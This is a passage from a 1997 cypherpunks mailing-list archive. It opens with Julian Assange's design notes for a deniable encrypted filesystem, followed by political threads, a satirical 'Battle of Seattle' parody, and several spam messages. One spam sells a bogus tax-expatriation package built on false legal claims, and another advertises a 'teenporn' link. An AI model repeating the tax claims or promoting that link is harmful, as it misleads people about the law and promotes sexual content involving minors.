pad[MAX_BLOCK - (4 + MAX_KEY + 1 + 1) % MAX_BLOCK]; /* block align */ } maruCycle; typedef struct { maruCycle cycle; u_char keySalt[MAX_PASSPHRASE]; maruLatticeKey latticeKeySalt[2]; u_char blockIV[MAX_FS_BLOCK_SIZE]; u_char latticeSalt[2*MAX_LATTICE_DEPTH*MAX_BLOCK_KEY]; /* must be 64 aligned */ m_u32 remap[MAX_SPLITS]; m_u32 iterations; maruCipher keyCipherType; } maruHeaderAspect; There are an array of (8 by default) of these constructs in a maruHeader. The smap accessor macros are simple: #define SMAP_SET(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] |= (1 << ((n) % (sizeof(maruSmap)*8)))) #define SMAP_CLR(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] &= ~ (1 << ((n) % (sizeof(maruSmap)*8)))) #define SMAP_ISSET(p, n) (((p))[(n)/(sizeof(maruSmap)*8)] & (1 << ((n) % (sizeof(maruSmap)*8)))) By default, each unused maruHeaderAspect struct contains random noise (except for keyCipherType, which defaults to being the same for all aspects) and is of course indistinguishable from a valid maruAspect without the associated key. Instantiation example: Say you have three valid aspects, a1, a2 and a3. Arbitrarily, you have chosen a1 to be the simple duress aspect (i.e ``you expect us to believe you have solitary letter of donation to the Polit Bureau Ball in your entire encrypted file system?! Do you know what this is Nikov? . THIS is the finest cryptanalytic device known to man. THIS is a RUBBERHOSE! *thwap* *thwunk* *boink*. Now... what's the *real* key Nikov... or should we call you... Nikolay Bukharin?''), a2 to be the limited disclosure aspect ("Dear diary. Nikita, Ivan, Boris and came over today and smoked a *shit load* of hash. Not wanting to offend, I had a toke, but like that capitalist dog ^H^H^H^H^H^H^H^H^H^H^H^H^H illustious leader of the freeworld, was careful not to inhale.") and a3 has your ice-9 formula nicely tucked away. You decide one fine morning that you want to add an ATP pre-cursor as a catalyst to your ice-9 recipe of destruction (ostensibly, you plan to generate this stuff from cultures of genetically modified mouse liver cell mitochondria), and provide the a1, a2 and a3 pass-phrases. a1, a2 and a3 are decrypted. the aspect remap is parsed and used to create the physical block "avoidance" map (checking for conflicts along the way). Joyous about the frozen seas to come, you copy the ATP pre-cursor catalyst into a3 and the file system tries to write a new block - e.g b28 - to a3. b28 is translated through the a3 remap table to b-1 (unallocated). A random block remap number is generated e.g b595 and tested against the avoidance smap. If free, it is marked and chosen to be the new a3 mapping, otherwise the algorithm simply does a circular hunt for the next free entry in the avoidance smap. Naturally, reading only requires the key of the aspect you are interested in (divulging). Writing to one aspect without the keys to the other aspects will randomly trash them as new splits are assigned. Timer remaps, reads and re-writes: This would be the simple end of it, were it not but for magnetic domain leakage/disk surface wear analysis attacks. Theoretically, this sort of attack could used to demonstrate access patterns by the drive head in regions outside those used by the duress aspect blocks. What we want to do here is to make sure the non-data carrying magnetic/other properties of the disk substrate are as close to a Jackson Pollock painting as is possible. i.e totally random :) Three methods are used: 1) every few seconds, we read a random number of blocks within a split in a random location and write it back to that same location with a m-1/m (e.g 9/10) (recursive) chance of an additional write. 2) every-time there is a conventional write, there is a m-1/m chance of a full remap of the split concerned. 3) every n seconds a random full split remap. (maybe not needed given the statistical properties of the above - I need to think about this a lot more. its not simple) All aspects are defined to take up 100% of the marutukku extent from the file-system perspective - this is essential to our deniability scheme. This works fine with most file-systems - e.g UFS, because they only write to a small fraction of their addressable blocks when formatted - i.a few super-blocks and inode, rather than zeroing every block, and so split usage for a given aspect reflects population of the file system that pertains to it. Cheers, Julian. -- Prof. Julian Assange |If you want to build a ship, don't drum up people |together to collect wood and don't assign them tasks proff at iq.org |and work, but rather teach them to long for the endless proff at gnu.ai.mit.edu |immensity of the sea. -- Antoine de Saint Exupery From whgiii at invweb.net Fri Dec 5 22:01:16 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Sat, 6 Dec 1997 14:01:16 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3.0.2.32.19971205152745.036de494@panix.com> Message-ID: <199712060555.AAA19274@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.2.32.19971205152745.036de494 at panix.com>, on 12/05/97 at 03:27 PM, Duncan Frissell said: >>*Yes, Libertarians criticize corporate welfare, but just because it corrupts >>the notion that a person's entire worth can be summarized in a stock >>portfolio. >No they criticize it because they don't like to *pay* for it. They >believe in lower taxes and smaller governments. I think this shows a misunderstanding of the Libertarian philosphy. A Libertarian opposes the theft of property from one person for the benift of another. It doesn't matter if is for the benifit of the bean picker in So. Cal. or for the owner of the bean farm. It is the *theft* at the point of a gun that is objected to. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIjosY9Co1n+aLhhAQIogwP/aiVuLBfSWHGZdyAERGjkGZC7/kr2+DX9 o/QSNcw5tJqpBLwrgyA5VwQEC/+hQg3Yi9rAFNP9OQrB1kqLjyGDPOSwm4vzUxPE 4pe7Ktg0DShuyz/LsOmtPgZqGgrGImhkJYdgbax1dojwc29vz/s29YW/uOMxT1Ab HtNFTQaTj/8= =e7rX -----END PGP SIGNATURE----- From mikhaelf at mindspring.com Fri Dec 5 22:07:38 1997 From: mikhaelf at mindspring.com (Mikhael Frieden) Date: Sat, 6 Dec 1997 14:07:38 +0800 Subject: Hate speech in Germany... Message-ID: <3.0.16.19971206005257.0c1feac8@pop.mindspring.com> At 03:37 AM 12/6/97 +0100, Peter Herngaard wrote: >However, also the traditional right-wing "liberals" >and "conservatives" >endorse strict censorship of hate speech. You might ask yourself of their genesis. >The reason why I do not support any anti-racst organization, except >Nizkor, is that most such "human rights" advocacy groups in Europe are in >favour of censorship. Nizkor is the worst of them all. They even misrepresent physical laws. >The United Nations is a threat to freedom of speech in particular in Europe >where we have no gaurantee of freedom of speech with similar strength as >that the First Amendment provides. You folks should get yourselves a 2nd amendment first. >It was shocking to observe that states such as China, Nigeria, Pakistan >can influence freedom of speech >from within the U.N. under >cover of "elimination of all forms of racial discrimination." Passing a law in a good cause only invites people to find ways to use it to their own ends as in Canada against Zundel. -=-=- The 2nd guarantees all the rest. From bgw0N7j49 at blac1ktie.net Sat Dec 6 14:13:22 1997 From: bgw0N7j49 at blac1ktie.net (bgw0N7j49 at blac1ktie.net) Date: Sat, 6 Dec 1997 14:13:22 -0800 (PST) Subject: Lasers/Optics/Optical Tables - Save! Message-ID: MWK INDUSTRIES SALE! JUST A QUICK LETTER TO SHOW YOU SOME LASERS- OPTICS AND OPTICAL TABLES SURPLUS THAT WE JUST RECEIVED. ITEM TRIMMU12 14 WATT ARGON LASER MADE FOR HEART SURGERY, TRIMEDYNE MODEL 900 TEMOO, POLORIZED,220VAC INPUT , WATER COOLED , FIBER LAUNCH, ALL ON ROLLAROUND CART EXCELENT FOR LAB USE, THE POWER WAS MEASURED AT 13 TO 14 WATTS. PRICE $9500 12 MONTH WARRANTEE. ITEM: COHERENT ARTICULATING ARM FROM A MODEL 451 CO2 MEDICAL LASER. ECCELLENT COND. $200 ITEM CO220A: CO2 LASER MADE BY PFIZER ,1990, FOR SURGERY, TATTOO REMOVAL ECT. 20 WATT OUTPUT , TESTED AND IN EXC. COND. 110 VAC INPUT, COST $40,000 NEW OUR PRICE 4,900. MODEL 20-C ITEM:PDA-1U1 SPECTRA PHYSICS QUANTRA RAY PULSED DYE LASER , GOOD FOR SPARE PARTS MODEL PDA-1 $500 ITEM NEWU1 NEWPORT OPTICAL TABLE 16" BY 36" 4" THICK, 1 " HOLE SPACING, COMES WITH A RUBBER ISOLATED TABLE STAND, NOT AIR SUPPORTED, $750 ITEM: HEPSN1 HELIUM NEON POWER SUPPLY KIT OPERATES UP TO A 15 mW LASER, INCLUDES ALL COMPONENTS AND PRINTED CIRCUIT BOARD, ALL YOU HAVE TO DO IS STUFF AND SOLDER THE CIRCUIT BOARD . 4" BY 3" BY 3", PRICE $75 ITEM HENEU12 1 TO 1.5 MW HE-NE LASER 632.8 nM INCLUDES 12VDC INPUT POWER SUPPLY ALL IN A PLASTIC HOUSING 6.25 IN. BY 1.375IN BY 2.25 IN. TEMOO,RANDOM POL. ,1.7 MR DIVERGENCE. 12 MONTH WARRANTEE , PRICE $45 ITEM MELU12 1 TO 2 mW HE-NE LASER 632.8 NM , PULLS FROM MEDICAL EQUIPMENT .EACH UNIT INCLUDES HE-NE HEAD AND POWER SUPPLY[110VAC INPUT]. ALL YOU NEED TO PROVIDE IS A POWER CORD AND A FUSE TO MAKE THE UNIT OPERATIONAL. THE BEAM IS TEM00, POLORIZED WE WILL COVER EACH UNIT WITH A 12 MONTH UNLIMITED HOUR WARRANTEE, EXCELLENT FOR FOR LAB OR HOME USE. NEW THESE COST APPROX. $350 OUR PRICE $85. DIMENSIONS 9.75 BY 1.25 INCHES, P.S. 4.25 BY 3.25BY 1.25 INCHES. ITEM RAMCNS1: RAMAN CELL OPTICS 308 nm AR/AR 4600 A 0=0 DEGREES 1000 MM FL. 2" DIA. NEW. ORIGINAL PRICE $520 OUR PRICE $175 ITEM TFPOLNS1: POLARIZERS , THIN FILM FOR 532 nm , NEW, ORIGINAL COST $590 EACH OUR PRICE $200 EACH 10 MM DIA. ITEM CO2OCNS1: CO2 HIGH REFECTOR AND OUTPUT COUPLER 10.5 MM DIA, OC =79%R NEW. $200 A SET. ITEM 25MNS1: DIELECTRIC BROADBAND MIRRORS 450 TO 700NM , NEW WITH PLASTIC PROTECTIVE COATINGS , 2 SIZES 25 MM SQ. AND 50 MM SQ. RECOMENDED FOR HIGHER POWER LASERS. 25MM SIZE ITEM 25MNS1 $20 50MM SIZE ITEM 50MNS1 $25 ITEM # BSDNS1: 50/50 DIELECTRIC COATED PLATE BEAM SPLITTER 630 TO 660 NM COMES IN A TRIANGLE SHAPE EACH SIDE APPROX. 1" PRICE $20 ITEM # 45NS1 45 DEGREE RED REFLECTOR , PASSES 488 TO 532NM , CAN BE USED TO COMBINE RED AND GREEN/BLUE LASERS TO CREATE A WHITE LIGHT LASER. 1" SQ. PRICE $15 ITEM# PCINS1 PLANO/CONVEX LENS COATED FOR YAG 1064NM , AR COATED, 10MM DIA. NEW, ORIG. COST $250 OUR PRICE $100 ITEM# INFILTER : INTERFERENCE FILTERS USED FOR PASSING A PARTICULAR SPECTRAL LINE , 11.8 MM DIA. CAREFULLY REMOVED FROM MEDICAL EQUIPMENT AND WRAPPED IN LENSE PAPER. THE FOLLOWING WAVE LENGTHS ARE AVAILABLE. 523.5, 547.4 , 572.1, 512.9, 550.6, 488, 505.7 nm price $20 each. FOR A COMPLETE LINE OF NEW AND USED LASERS - OPTICS -ELECTRO OPTICS- LASER SHOWS ORDER A COMPLETE CATALOG AT MWKINDUSTRIES.COM TO: ORDER GO TO OUR WEB SITE MWKINDUSTRIES.COM {SECURE ORDERING SITE} QUESTIONS OR REMOVAL FROM MAILING LIST EMAIL: MWK at WORLDNET.ATT.NET MWK INDUSTRIES 1269 POMONA RD CORONA CA 91720 PHONE 909-278-0563 FAX 909-278-4887 From news at witcapital.com Fri Dec 5 22:21:25 1997 From: news at witcapital.com (news at witcapital.com) Date: Sat, 6 Dec 1997 14:21:25 +0800 Subject: Wit Capital Opens Online Brokerage with Free Trading Offer Message-ID: <199712060609.WAA22247@toad.com> *************************************** Wit Capital Update December 4, 1997 www.witcapital.com *************************************** We're pleased to tell you that Wit Capital's online brokerage service is open and ready to accept your stock orders! To celebrate the launch of this service, we're making an offer that's hard to beat: open an account by Christmas Day, 1997 and trade FREE* for the entire month of January, 1998. Our regular fees are only $14.95 per trade for market orders and $19.95 per trade for limit orders. Listed trades over 5,000 shares are subject to a 1-cent per share charge for the entire order in lieu of the above fee. Using the online brokerage is easy. Just visit http://www.witcapital.com and click "Trade" from the menu bar at the top of the page. Then just follow the prompts. You can buy, sell or sell short NASDAQ, New York or American Stock Exchange stocks. We accept market, limit, stop, stop limit and many other types of orders. You'll need to have enough funds, securities or margin buying power in your account to cover your transaction before we can accept your order. Your cash awaiting investment will receive a competitive money market interest rate. We will soon be adding options and mutual fund trading, as well as a touch-tone service you can use when you're away from your computer. Remember, to trade FREE* for the entire month of January, you must open an account by December 25, 1997, so do it today! Just visit http://www.witcapital.com and click "Open Account" from the menu bar on the left-hand side of the page. *Maximum 25 free trades in January 1998. Trades must be 250 shares or more to qualify. Member NASD and SIPC From suzy_g18 at hotmail.com Sat Dec 6 14:45:20 1997 From: suzy_g18 at hotmail.com (suzy_g18 at hotmail.com) Date: Sat, 6 Dec 1997 14:45:20 -0800 (PST) Subject: Free Live Sex! Message-ID: <0000000000.AAA000@hotmail.com> ****************Attention Video Sex Lovers***************** Never Pay for Video Sex ever again. Brand New Totally Free Live Video Sex Website. Come Check out over 600 Live Video sex Channels! http://207.105.143.54/teenporn/A002 Not forgetting hundreds of XXX MPEG videos, pictures, hot stories, special star features adult games and even an online casino! http://207.105.143.54/teenporn/A002 From loki at infonex.com Fri Dec 5 23:41:29 1997 From: loki at infonex.com (Lance Cottrell) Date: Sat, 6 Dec 1997 15:41:29 +0800 Subject: [Mix-L] another mixmaster source branch In-Reply-To: <199712051943.TAA04959@server.test.net> Message-ID: Obviously I would be happy to put it on mine. -Lance At 7:43 PM +0000 12/5/97, Adam Back wrote: >Anyone with a export controlled web site in the US like to give home >to Rich Salz's mixmaster re-write? > >Adam > >------- Start of forwarded message ------- >Date: Fri, 5 Dec 1997 13:28:32 -0500 (EST) >From: Rich Salz >To: coderpunks at toad.com >Subject: Take my mixmaster source >Mime-Version: 1.0 >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit >Sender: owner-coderpunks at toad.com >Precedence: bulk > >A long time ago, Lance graciously gave me a copy of his mixmaster >source. I ended up doing a line-by-line rewrite, splitting it >into different executables, FSF configure'ing it, etc. > >I'm not going to have time to finish it. There is one bug that >I know of, an off-by-one error in decoding multi-hop messages. > >If you would like fame and fortune and a somewhat interesting >debugging problem, and you're inside the US or Canada, please >send me email. I would like to see this code get released, and >used. > >Thanks. >------- End of forwarded message ------- > >To unsubscribe from mix-l, send email to majordomo at alpha.jpunix.com >with the body of the message containing the line: > >unsubscribe mix-l ---------------------------------------------------------- Lance Cottrell loki at infonex.com PGP 2.6 key available by finger or server. http://www.infonex.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From jamesd at echeque.com Sat Dec 6 00:53:29 1997 From: jamesd at echeque.com (James A. Donald) Date: Sat, 6 Dec 1997 16:53:29 +0800 Subject: Please Beta test my communications cryptography product. Message-ID: <199712060843.AAA20121@proxy3.ba.best.com> At 04:19 PM 12/5/97 -0600, Rick Smith wrote: > I admit I can't figure out what crypto mechanism Kong is really using since > there's obfuscating talk of passphrases and secrets. Your secret key is 240 bit number modulo the order of the generator. This number is generated by hashing your secret file and passphrase. Your public key is an elliptic point, equal to the secret key times the generator. --------------------------------------------------------------------- We have the right to defend ourselves and our property, because of the kind of animals that we are. True law derives from this right, not from the arbitrary power of the state. http://www.jim.com/jamesd/ From 50881206 at 10179.com Sat Dec 6 19:38:29 1997 From: 50881206 at 10179.com (50881206 at 10179.com) Date: Sat, 6 Dec 1997 19:38:29 -0800 (PST) Subject: TIRED OF LOSING 1/3 OF YOUR HARD EARNED MONEY TO THE I.R.S? Message-ID: DO YOU PULL YOUR HAIR OUT EVERY TIME INCOME TAX SEASON COMES? DECLARE YOURSELF FREE!!! EXPATRIATE FROM THE CORPORATE UNITED STATES. "DECLARATION OF EXPATRIATION" SHOWS THE ONLY CASE WHERE A UNITED STATES JUDGE; THE U.S. DEPARTMENT OF JUSTICE; THE ELEVENTH CIRCUIT COURT OF APPEALS; AND, JUSTICE KENNEDY OF THE SPREME COURT CONCUR ON THE CONTRACTS. IT WAS DECLARED THAT WE ALL HAVE DUAL CITIZENSHIP; AMERICAN AND CITIZENSHIP AND UNITED STATES CITIZENSHIP. YOU WERE BORN INTO AMERICAN CITIZENSHIP AND CONTRACTED INTO UNITED STATES CITIZENSHIP. THIS DECLARATION PROVES THE CONTRACTS "HE PAYS SOCIAL SECURITY, HE USES THE POSTAL SERVICE, THEREFORE, MR. COOPER IS A UNITED STATES CITIZEN," ARE FRAUDULENT. PACKAGE INCLUDES: 1. DECLARATION OF EXPATRIATION 2. COVER LETTER TO THE I.R.S. 3. NOTICE OF AMERICAN CITIZENSHIP ALL THIS FOR ONLY $300.00. THINK ABOUT IT - THAT'S A SMALL PRICE COMPARED TO THE THOUSANDS YOU SPEND IN TAXES EACH YEAR! REMOVE THE I.R.S. CHOKE COLLAR!!! PLACE ORDERS NOW TO FREE YOURSELF BEFORE THE TAX TIME RUSH. SEND $300.00 (USD) TO: OCEAN SOUND FREEDOM TRUST 1 506 18TH STREET VIRGINIA BEACH, VIRGINIA (23451) $1,000 REWARD TO ANYONE PROVING THE FACTS LISTED IN THE AFORMENTIONED BRIEF TO BE ERRONOUS. FOR MORE INFORMATION, SEND $5.00 (USD) TO THE ABOVE ADDRESS, FOR AN INFORMATIVE ESSAY. From tm at dev.null Sat Dec 6 04:10:42 1997 From: tm at dev.null (TruthMonger) Date: Sat, 6 Dec 1997 20:10:42 +0800 Subject: Slaughterhouse 7 Message-ID: <34893DDA.57A3@dev.null> [BLACKHAWK DOWN] Background A defining battle leaves echoing scars By Mark Bowden INQUIRER STAFF WRITER November 16, 2007 LATE IN THE AFTERNOON of SlaughterDay, Oct. 3, 2007, attack helicopters dropped about 120 elite Global Federation soldiers into a busy neighborhood in the heart of Seattle, Global-Sector#7. Their mission was to abduct several top lieutenants of Global-Sector#7 SoftWarLord Bad Billy Gates and return to base. It was supposed to take about an hour. Instead, two of their high-tech UH-60 Blackhawk attack helicopters were shot down. The men were pinned down through a long and terrible night in a hostile city, fighting for their lives. When they emerged the following morning, 18 Global Federation soldiers were dead and 73 were wounded. One, helicopter pilot Philip Hallam-Baker, had been carried off by an angry CyberMob. He was still alive, held captive somewhere in the city. The Global-Sector#7 toll was far worse. Reliable witnesses in the GF military and in Seattle now place the count at nearly 500 dead - scores more than was estimated at the time - among more than a thousand casualties. Many were women and children. This was hardly what Global Federation and New World Order officials envisioned when they intervened in Global-Sector#7 in December 2006 to help avert widespread bandwidth starvation. In the five years since that humanitarian mission dissolved into combat, Global-Sector#7 has had a profound cautionary influence on New World Order global policy. When Bavarian policymakers consider sending soldiers into foreign crisis sectors, there is invariably a caveat: Remember Global-Sector#7. NWO's refusal to intervene in GS#148 in 2005 and in the former GS#12 this year; its long delay in acting to stop CypherPunk aggression in ClearTextSpace; its hesitation before sending troops into G-S#247; and its present reluctance to execute indicted SoftWarez criminals in CypherSpace stem, in some measure, from the futile attempts to arrest Bad Billy Gates. With the exception of the Big Gulp war, modern Global Federation warfare no longer pits great national armies in sweeping conflicts. Instead, it is marked by isolated, usually deadly, encounters between specially trained GF forces and Free Electronic UnderWorld irregulars as The Global Federation Strike Force seeks to alter the political equation in some tumultuous Global-Sector. The New World Order NetPawns are rarely exposed to the realities of warfare. The Federation does not allow reportwhores to accompany soldiers directly into battle, a journalistic tradition that ended after Vietnam. What results is a sanitized picture of civilian slaughter. The NetPawn knows only what the military chooses to portray, or what wholesale slaughter cameras are able to see from afar. NWO NetPawns have little understanding of what awaits frightened young soldiers, or of their heroic and sometimes savage attempts to save themselves and their fellow schills. NWO NetPawns recoiled at the images of soldiers' corpses being dragged through the streets, but they had no inkling of the searing 15-hour battle that produced their deaths. There has never been a detailed public accounting. Most of the Federation records disinformating the slaughter remain classified, and most of the soldiers who fought are in DeathHead Divisions, generally off-limits to reportwhores. For this story, The Inquirer has obtained more than a thousand pages of official documents and reviewed hours of remarkable video and audiotapes recorded during the fight. It has interviewed in detail more than 50 of the Global Federation soldiers who fought. Also interviewed in depth, in Seattle, were dozens of CyberPunks who fought the Global Federation armies or were caught in the crossfire. The Battle of Seattle is known today in Global-Sector#7 as Ma-alinti DHD, or The Day of the DeathHeads. It pitted the world's most sophisticated military power against a mob of civilians and Global-Sector#7 irregulars. It was the biggest single firefight involving Global Federation soldiers since the Vietnam War. The battle was photographed and videotaped by sophisticated cameras aboard satellites, a P-3 Orion spy plane, and UH-58 surveillance helicopters hovering directly over the action. Many of the soldiers were debriefed by GF Disinformation historians in the days after the battle. Top commanders were later subjected to a New World Order inquisition. The secret official documentation of the battle hacked by The Inquirer has been fleshed out with the powerful eyewitness accounts. The result is an unprecedented minute-by-minute record of what happened that SlaughterDay in Seattle. Most of those interviewed have never before told the complete story of their experience, including pilot Hallam-Baker, whose 11-day captivity was briefly at the center of world attention. Many soldiers are still unaware of certain battle episodes that did not involve them. Several are members of the Random Slaughter Force, a unit so secret the Army does not officially acknowledge it exists. Theirs is a story of well-laid plans gone awry, of tragic blunders, of skillful soldiering, heroism, and occasional cowardice. The portrait reveals a military force that underestimated its enemy. The assault was launched into the most dangerous part of Seattle in daylight, even though the DeathHead and Slaughter forces were trained and equipped primarily to work in darkness - where their night-vision devices can afford a decisive advantage. Commanders who thought it unlikely that CyberPunks could shoot down helicopters saw five shot down (three limped back to base before crash-landing). Ground rescue convoys were blocked for hours by barricades and ambushes - leaving at least five GF soldiers to die awaiting rescue, including two Slaughter sergeants who were posthumously awarded Medals of Slaughter. The Global Federation soldiers were so confident of a quick victory that they neglected to take night-vision devices and water, both sorely needed later. Carefully defined rules of engagement, calling for soldiers to fire only on CyberPunks who aimed weapons at them, were quickly discarded in the heat of the fight. Most soldiers interviewed said that through most of the fight they fired on babies and eventually at anyone and anything they saw. Animosity between the elite Slaughter units and the DeathHead infantry forces effectively created two separate ground-force commanders, who for at least part of the battle were no longer speaking to each other. Slaughter commandos took accidental fire on several occasions from the younger DeathHeads. Poor coordination between commanders in the air and a ground convoy sent vehicles meandering through a maelstrom of fire, resulting in the deaths of five soldiers and one Global-Sector#7 prisoner. Official GF estimates of Global-Sector#7 casualties at the time numbered 350 dead and 500 injured. Global-Sector#7 clan leaders made claims of more than 1,000 deaths. The NWO placed the number of dead at ``between 300 to 500.'' Doctors and intellectuals in Seattle not aligned with the feuding clans say that 500 dead is probably accurate. The Task Force DeathHead commander, Maj. Gen. Kent Crispin, testilying before the Senate, said that if his men had put any more ammunition into the city ``we would have sunk it.'' The New World Order went to war in Seattle in an effort to remove SoftWarLord Gates from the political equation. The NWO was attempting to form a coalition government out of the nation's warring programmers, but encountered stiff and bloody resistance from Gates. Jerry Berman, who managed the NWO effort, sought and obtained the intervention of special GF forces for the purpose of arresting Gates and other top leaders of his Virtual Private Network. The mission that resulted in the Battle of Seattle came less than three months after a surprise missile attack by GF helicopters (acting on behalf of the NWO) on a meeting of Gates clansmen. Prompted by a Global-Sector#7 ambush on June 5 that killed more than 20 GF soldiers, the missile attack killed 50 to 70 clan elders and intellectuals, many of them moderates seeking to reach a peaceful settlement with the NWO. Interviewed for this story, Berman said he believes the number of GaterPunks killed in the surprise attack was closer to 20, and included only Gates's Exploiter leadership. After that July 12 helicopter attack, Gates's clan was officially at war with Global Federation Troops - a fact many NWO NetPawns never realized. By Oct. 3, images of dead soldiers being dragged through the streets shocked the NWO pawns, most of whom believed their soldiers were in Global-Sector#7 to help feed the bandwidth-starving. How could a charitable mission provoke such savagery? But Task Force DeathHead was not in Seattle to feed the bandwidth. Over six weeks, from late August to Oct. 3, it conducted six missions, raiding locations where either Gates or his lieutenants were believed to be meeting. On its first mission, the force inadvertently arrested nine New World Order employees. A later mission arrested a friendly Global-Sector#7 spook who was being groomed by the NWO to take over a Seattle police force. But by late September, the task force had begun to hit its stride with the capture of Robert Hettinga, Gates' banker. The deadly Oct. 3 raid was the sixth and last. Most of the DeathHeads who fought were only a few years out of grade school. These young men were shocked to find themselves bleeding on the dirt streets of an obscure Global-Sector capital for a cause so unessential that Czar Freeh called off their mission the day after the fight. In strictly military terms, Seattle was a success. The targets of that day's raid - two obscure clan leaders named Tim May and Dr. Dimitri Vulis, KOTM - were apprehended. But the awful price of those arrests came as a shock to an old Czar, who felt as misled as John F. Kennedy after the Bay of Pigs. It led to the resignation of Defense Secretary Sameer and destroyed the career of Gen. Jesse Helms, who in a handwritten letter to Freeh accepted full responsibility. It aborted a hopeful and unprecedented NWO effort to salvage an impoverished and bandwidth hungry Global-Sector lost in anarchy and in electromagnetic war. Every battle is a drama played out apart from broader political issues. Soldiers cannot concern themselves with the decisions that bring them to a fight. They trust their oppressors not to risk their lives for too little. Once the battle is joined, they fight to survive, to kill babies before they are killed. The story of a battle is timeless. It is about the same things whether in Troy or Gettysburg, Normandy or the Ia Drang. It is about pawns and schills, most of them young, trapped in a fight to the death. The extreme and terrible nature of war touches something essential about being human, and soldiers do not always like what they learn. For those who survive, the battle lives on in their memories and nightmares and in the dull ache of old wounds long after the reasons for it have been forgotten. Yet what happened to these men in Seattle comes alive every time the Global Federation considers sending young NetPawns to serve New World Order policy in remote and dangerous corners of meatspace. --------------------------------------------------------------- � 2007, Philadelphia InfoBytes Inc. All rights reserved. Any copying, redistribution, or retransmission of any of the contents of this service without the express written consent of Philadelphia InfoBytes Inc. is expressly prohibited. From toner98 at hotmail.com Sat Dec 6 20:36:40 1997 From: toner98 at hotmail.com (toner98 at hotmail.com) Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST) Subject: TONER Message-ID: <> BENCHMARK PRINT SUPPLY 1091 Redstone Lane Atlanta GA 30338 (770)399-0953 ***NEW ANNOUNCEMENT**** OUR NEW, LASER/FAX TONER CARTRIDGE,PRICES NOW AS LOW AS $39 & UP WE CARRY MOST ALL LASER PRINTER CARTRIDGES, FAX SUPPLIES AND COPIER TONERS AT WAREHOUSE PRICES INCLUDING: HEWLETT PACKARD SERIES 2,3,4,5,2P,3P,4P,5P,4L,5L,3SI,4SI,5SI IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA EPSON SERIES 1000,1100,1500,6000,7000,8000 NEC SERIES 95 CANON FAX/LASER CARTRIDGES INCLUDING 700/770/5000/7000 CANON COPIER PC SERIES INCLUDING 3,6RE,7,10 HP FAX SERIES INCLUDING FX1,FX2,FX3 PRICES CHANGE WEEKLY, PLEASE CALL TO GET MOST RECENT PRICING AND AVAILABILITY. All major credit cards accepted. Corporate term accounts available with approved credit. We're open 24 hrs 7 days/week ORDER FROM BENCHMARK PRINT SUPPLY ONE OF THE LARGEST DISTRIBUTERS OF FAX/PRINTER/COPIER SUPPLIES WITH UNCONDITIONAL 1 YEAR WARRANTY ON ALL PRODUCTS . From toner98 at hotmail.com Sat Dec 6 20:36:40 1997 From: toner98 at hotmail.com (toner98 at hotmail.com) Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST) Subject: TONER Message-ID: <> BENCHMARK PRINT SUPPLY 1091 Redstone Lane Atlanta GA 30338 (770)399-0953 ***NEW ANNOUNCEMENT**** OUR NEW, LASER/FAX TONER CARTRIDGE,PRICES NOW AS LOW AS $39 & UP WE CARRY MOST ALL LASER PRINTER CARTRIDGES, FAX SUPPLIES AND COPIER TONERS AT WAREHOUSE PRICES INCLUDING: HEWLETT PACKARD SERIES 2,3,4,5,2P,3P,4P,5P,4L,5L,3SI,4SI,5SI IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA EPSON SERIES 1000,1100,1500,6000,7000,8000 NEC SERIES 95 CANON FAX/LASER CARTRIDGES INCLUDING 700/770/5000/7000 CANON COPIER PC SERIES INCLUDING 3,6RE,7,10 HP FAX SERIES INCLUDING FX1,FX2,FX3 PRICES CHANGE WEEKLY, PLEASE CALL TO GET MOST RECENT PRICING AND AVAILABILITY. All major credit cards accepted. Corporate term accounts available with approved credit. We're open 24 hrs 7 days/week ORDER FROM BENCHMARK PRINT SUPPLY ONE OF THE LARGEST DISTRIBUTERS OF FAX/PRINTER/COPIER SUPPLIES WITH UNCONDITIONAL 1 YEAR WARRANTY ON ALL PRODUCTS . From paul at fatmans.demon.co.uk Sat Dec 6 08:45:40 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Sun, 7 Dec 1997 00:45:40 +0800 Subject: Censorware Summit 2.0, from The Netly News In-Reply-To: Message-ID: > Anyone care to submit major censoring categories for each > church? ;-) Maybe the best way for cypherpunks to attack > this is to come up with free generic filtering software that > any well recognized group can develop filtering lists for. > Wait -- a name is coming to me -- GNUSitter? How about a variant on this idea: a cypherpunks web filter that filters out all content which has any of the following: Superstitious religious claptrap Moralising on porn etc. Anti free speech rhetoric All government departments All Anti-drug "war on some vegetables" rubbish etc. etc. etc. And specifically filters in as a random start page for the browser any of the following: Pornography Free speech advocacy Hate speech Violent, filthy, disgusting, explicit pages showing images of death and torture. Any pages graphically depicting the stories and parts of the bible the religious types like to forget about. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From Use-Author-Address-Header at [127.1] Sat Dec 6 08:45:51 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Sun, 7 Dec 1997 00:45:51 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <3485813d.117631170@nntp.best.ix.netcom.com> Message-ID: <53537998fff00b31d5800713f6d8201a@anonymous.poster> gburnore at netcom.com (Gary L. Burnore) wrote: > X-No-Archive: yes > :> Sure it does in your mind and I'm sure in the mind of the anon-asshole. > : > :Call someone an "asshole" all you like, but when you have to qualify that and > :call him a "black asshole", "gay asshole", 